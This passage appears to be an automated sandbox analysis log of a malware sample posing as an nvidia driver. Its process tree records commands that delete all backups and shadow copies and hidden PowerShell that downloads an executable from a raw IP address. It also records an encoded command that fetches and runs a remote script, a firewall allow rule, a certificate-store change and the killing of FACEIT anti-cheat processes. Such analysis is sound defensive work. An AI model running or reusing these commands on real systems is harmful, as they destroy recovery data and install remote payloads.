        Suspicious use of WriteProcessMemory
        
        PID:1808
        
        C:\Windows\system32\wbadmin.exe
        
        wbadmin delete backup -backupTarget:C: -allVersions -quiet
        7⤵
        Deletes system backups
        Drops file in Windows directory
        
        PID:1944
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:D: -allVersions -quiet
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2544
        
        C:\Windows\system32\wbadmin.exe
        
        wbadmin delete backup -backupTarget:D: -allVersions -quiet
        7⤵
        Deletes system backups
        Drops file in Windows directory
        
        PID:4996
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quiet
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5024
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        7⤵
        Interacts with shadow copies
        
        PID:4888
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'http://150.241.94.206/uploads/Faceit/berserk/asd.exe' -OutFile 'C:\Program Files\WindowsOptions\asd.exe'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5308
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBEAGUAZgBhAHUAbAB0AFcAZQBiAFAAcgBvAHgAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQA7ACAAaQByAG0AIABoAHQAdABwAHMAOgAvAC8AYgBlAHIAcwBlAHIAawAuAHIAaQBwAC8AbwBuAGMAbwBuAG4AZQBjAHQALgBwAHMAMQAgAHwAIABpAGUAeAA=
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4552
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:3564
  - - C:\Program Files\WindowsOptions\nvidia_dr64.exe
      "C:\Program Files\WindowsOptions\nvidia_dr64.exe"
      4⤵
      Executes dropped EXE
      Modifies trusted root certificate store through registry
      Modifies system certificate store
      Suspicious use of WriteProcessMemory
      PID:2516
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-NetFirewallRule -DisplayName 'nvidia' -ErrorAction SilentlyContinue | Remove-NetFirewallRule"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2016
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName 'nvidia' -Direction Inbound -Program 'C:\Program Files\WindowsOptions\nvidia_d64.exe' -Action Allow -Profile Any"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4092
    - - C:\Program Files\WindowsOptions\nvidia_d64.exe
        
        "C:\Program Files\WindowsOptions\nvidia_d64.exe" -s "C:\Program Files\WindowsOptions\n_config" --mode regular@6967 --set confdir="C:/ProgramData/WindowsOptions" -q --ssl-insecure
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2408
      - C:\Program Files\WindowsOptions\nvidia_d64.exe
        
        "C:\Program Files\WindowsOptions\nvidia_d64.exe" -s "C:\Program Files\WindowsOptions\n_config" --mode regular@6967 --set confdir="C:/ProgramData/WindowsOptions" -q --ssl-insecure
        6⤵
        Downloads MZ/PE file
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:5724
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM FACEITClient.exe
        7⤵
        Kills process with taskkill
        
        PID:836
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM faceit.exe
        7⤵
        Kills process with taskkill
        
        PID:5564
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM FACEITService.exe
        7⤵
        Kills process with taskkill
        
        PID:1308
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3960
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        
        PID:5240
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1756
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1124
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5568
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2584
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5836
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:1704
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1092
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5352
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4500
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5188
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4676
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2548
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4588
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2992
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:5564
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2096
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3776
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2296
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5528
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        Discovers running processes
        
        PID:2788
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4572
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:972
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:312
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4248
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1496
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3708
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3444
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5772
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4396
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1380
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2024
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3352
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3884
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3960
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2396
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5812
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4204
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        
        PID:4564
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3024
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3824
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4636
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1876
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5588
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1852
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:3444
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5540
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4396
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2548
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2704
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4468
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2096
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4864
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1756
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4452
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5244
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1776
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:1124
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        Discovers running processes
        
        PID:3204
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3176
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5688
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5308
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3728
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:4636
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2244
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:1876
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5748
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1680
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:1852
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4704
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5344
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:1380
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5060
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2992
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2480
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:6068
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3860
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3844
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4444
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4144
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:4452
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        Discovers running processes
        
        PID:6056
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:5244
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:320
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:252
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3824
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4084
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:4564
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3248
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2656
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:3728
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4296
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:2244
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4568
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4548
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3116
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1248
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3312
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4816
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2704
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1204
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4244
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1372
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        Discovers running processes
        
        PID:4928
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1748
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:960
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4904
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:972
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1000
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:6056
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5332
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4756
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5836
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2796
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1896
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2924
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4332
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1664
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5852
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3924
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5476
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        
        PID:3068
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3100
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4460
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:2480
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2336
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1708
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1700
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5784
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4300
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2608
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4928
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:4144
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2948
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:6016
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5940
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4408
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5052
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3824
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5868
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5664
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        
        PID:4636
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5748
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2640
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4676
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4548
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3244
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4552
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2756
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:804
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1556
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3252
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4460
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:6068
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3920
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5548
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2396
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3308
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5528
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2488
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        
        PID:3532
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1500
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5828
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5592
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1220
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2436
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2308
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2528
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2796
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3212
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:564
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4544
        
        C:\Windows\SYSTEM32\tasklist.exe
        
